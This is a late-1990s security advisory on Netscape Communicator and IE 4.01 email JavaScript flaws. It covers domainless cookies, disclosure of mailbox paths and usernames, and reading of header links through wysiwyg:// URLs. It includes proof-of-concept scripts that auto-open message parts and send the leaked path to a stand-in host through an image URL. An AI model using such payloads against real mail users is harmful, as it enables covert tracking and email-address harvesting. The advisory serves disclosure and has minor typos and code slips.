COMMAND
Netscape Communicator
SYSTEMS AFFECTED
Netscape Communicator 4.5+, IE 4.01
PROBLEM
Claudio Telmon and Gioacchino La Vecchia found following. They
found the javascript problem and a couple of others in January.
They were checking how Communicator handles javascript in mail
messages. They made some testing and in February decided to send
a bug report to Netscape.
Now to the bugs. As said, they were working on javascript in mail
messages, so they noticed this bug in mail messages. A message
sent to a public mailing list or a spam message can leave a "mark"
in your cookies database that can be read by any other message
(or web page?). (tested also on Explorer and it worked)
Now the default setting is that javascript in mail messages is
disabled, but the bug is not fixed. As you noticed, "same origin"
is not enforced. Another partially fixed bug is that with:
wysiwig://0/mailbox:/home/claudio/nsmail/Inbox?number=2
you can access the first message of the mailbox. They used:
window.open("wysiwig://0/mailbox:/home/claudio/nsmail/Inbox?number=2")
With the original bug, you could access document.links[] and get
the addresses of sender, recipient etc. Now you can still get
document.title, which is the subject of the:
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/nscape39.html
If you try other values instead of 2, you can get the offset of
the beginning of another message in the mailbox and work on it, or
else Communicator will crash. The original report can be found at
http://metalab.unc.edu/gio/papers/netscape/netscape.html
Here we go. What authors first found was how easily cookies can
be set by a piece of Javascript code in a mail message. This
simple message body sets a cookie on the reader's system:
function SetCookie (name, value, expdate) {
document.cookie = "Kerby" + name.substring(2,6) + "=" + escape
(value) +
"; expires=" + expdate.toGMTString();
}
The cookie is set with a void domain. Path is also void unless
explicitely set. That is, there is no information in the cookie
linking it to it's source message, or to the sender's address or
domain. These cookies can be read by any Javascript code in
subsequent mail messages, as shown by this code:
function getCookieVal (offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
One preference that a user can set in Communicator is "Only accept
cookies originating from the same server as the page being
viewed"; setting this property does not protect against cookies
originating from mail messages, since all these cookies share the
same (void) "server".
When received by a Web server, a cookie owns some properties that
limit it's availability to other servers. This is due to the
requirement to limit the ability of sites to map user's navigation
history and preferences. This does not hold when cookies are
received via mail. That is, it is fairly easy to map user's "mail
history": mailing list subscriptions, previous advertisement
messages, etc. These cookies can't be sent to Web servers, but
their name and value can be used to buid a URL, so in fact their
information can be disclosed to remote servers. Suppose you want
to "cross-reference" the users of two mailing lists: all you need
to do is to send a message on the first mailing list wich sets a
cookie with value "1". The cookie will be available for any
message of the second mailing list, that can do thing like:
show a different message if the cookie is present; connect to
your web site with some HTML code like
<IMG SRC="http://server.example.net/path_derived_from_cookie_data">
enbedded in the message; this would let you send targeted
information and possibly map user's IP address or domain.
The second step was gathering some sensitive information from the
user's browser. This information can be put in the cookie or sent
to a web site. An available value is location.href. This value
is void when set from a mail message. However, if the message or
an attachment is opened in a new browser window, the value is set
to the path of the message, that is someting like:
mailbox:/path/data
where path is the "path" of the mailbox and "data" contains some
information bound to the message and the mailbox. The path also
gives usually some useful information: on Windows systems it is
something like: C:\windows\temp\, on Linux (and possibly other
Unix-like) it's someting like:
/home/<username>/nsmail/<folder>
This gives you both the username and the system type. Vulnerable
browsers Both Netscape Communicator and Internet Explorer disclose
the path information. However, the path information disclosed by
Internet Explorer is less sensitive. This is probably a bug,
since path information should not be available to javascript code.
It's also the worst problem we found in this research, since it
can disclose the actual e-mail address of the user, passing
through anonymizers, forwarders and firewalls. This is acheived
if the username can be bound to a domain or IP address, i.e. if
the page connects to a hostile web server. The use of a proxy
can avoid this problem in some situations. Be it used with
targeted messages or spam, it's a powerful tools for real e-mail
addresses collection. If the address is set in a cookie, it will
be available for every subsequent message, no matter who the
sender is, without requiring to use the same trick of opening a
different window. If encoded, the e-mail address can be difficult
to recognize even if the cookie file is opened for inspection.
Many are obvious, examples aren't probably needed.
The previous step requires the message body to be opened in a new
window. Since a user wouldn't in many cases open a new window to
see a message or an attachment (i.e. in a spam message), the
message can do it himself:
<script language="JavaScript">
<!--
function clickit() {
document.kerby1.submit();
}
//-->
</script>
<body onLoad="click()">
<A HREF="cid:kerby1.html">ciao</A>
<P>
<FORM NAME="kerby1" ACTION="cid:kerby1.html" METHOD="post"
TARGET="_blank">
<INPUT TYPE="hidden" NAME="Kerb" VALUE="">
</FORM>
</body>
The trick is the "cid:" that refers to a part of the multipart
mime message himself. Let's take a look a little close to the
information we're been able to gather in such a way:
mailbox:PATHTOHOME/gio/nsmail/PATHTOFOLDER?\id=MAILID%40DOMAIN&number=OFFSET&part=1.2
where:
PATHTOHOME is the real path of the user's home, it could be
/home or /opt/home etc..
PATHTOFOLDER is the real path of the mailbox, it could contain
information, just think to a path as
personal.sbd/contacts.sbd/ACMEWORKS where ACMEWORKS
is the worst competitor of your boss
OFFSET is the offset of the message in the mailbox, in bytes.
Cookies can be useful to pass information between mail messages,
but can be refused or detected by the user. If the need is just
to send the sensitive information to a web site, maybe a less
detectable way can be useful. Moreover, opening a window can be
suspect, so it's probably better to avoid it at all. This code
does exactly this:
<script language="JavaScript">
<!--
function swapImage() {
document.kerbimg.src="http://some.host1/"+document.kerby1.action;
}
//-->
</script>
<body onLoad="swapImage()">
ciao<P>
<FORM NAME="kerby1" ACTION="cid:kerby1.html" METHOD="post"
TARGET="_blank">
<INPUT TYPE="hidden" NAME="Kerb" VALUE="">
</FORM>
<IMG NAME="kerbimg" SRC="http://some.host/">
</body>
It sends the information embedded in the URL of an embedded image
and doesn't open any window, since the information is gathered
from the form (which btw. doesn't give any warning since the
action is not performed). This code exposes two waeknesses. The
first one is a consequence of the already discussed ones, that is
sending sensitive information without the user being able to
avoid it. The second one is however the most important one:
while form actions under certain conditions (specificare) can't
be performed without user's approval or explicit action, the
informations are available in the page for different handling
and, in this case, for different ways of submission.
When displayed an e-mail message shows a list of links
corresponding to a subset of the headers of the message. Sender,
Message-ID, From, To and References fields are shown as links. A
Javascript hostile code is able to grab these links's values pack
and deliver them to an attacker. Some of these links's values are
not always accessible (their value is foo when Communicator adds
the addbook:), but in some cases they can be accessed. One is
this URL:
wysiwyg://0/mailbox:/PATH/MAILBOX?number=OFFSET
where the mailbox is the current mailbox. Note that the mailbox
can be easily gathered using one of the previous bugs (or the
default Inbox can be tried). The offset=2 points to the first
message inserted in the mailbox. Trying to access other messages
with tentative offsets always crashed Communicator, but if the
correct offset of a message (or its id) can be found, the URL
works. This vulnerability lets potentially everyone browse your
mailboxes and get as many informations he needs about people you
are exchanging message with. Not less important this is an easy
way to discover real mail addresses of people who stay behind a
Firewall.
addrnumb=document.links.length
list=""
for ( i = 0; i <addrnumb; i++) {
list+=document.links[i]
}
SOLUTION
Should be fixed already... It's not clear if setting cookies with
mail messages is correct and useful; it's probably better to be
able to disable. This feature with a specific option (the way
javascript in mail messages can be now separately disabled). The
biggest problem is however that there is no server information.
Setting this information to the sender address could be a
solution, but the sender of a message can be trivially forged.
Cookies set by mail messages should be probably protected as
sensitive information, that is no information derived from them
sould be sent over the Internet URL information. The URL of a
mail message contains sensitive information (in both Communicator
and Internet Explorer it contains at least a path). The
availability of this information to javascript code is probably
just a bug that needs to be corrected.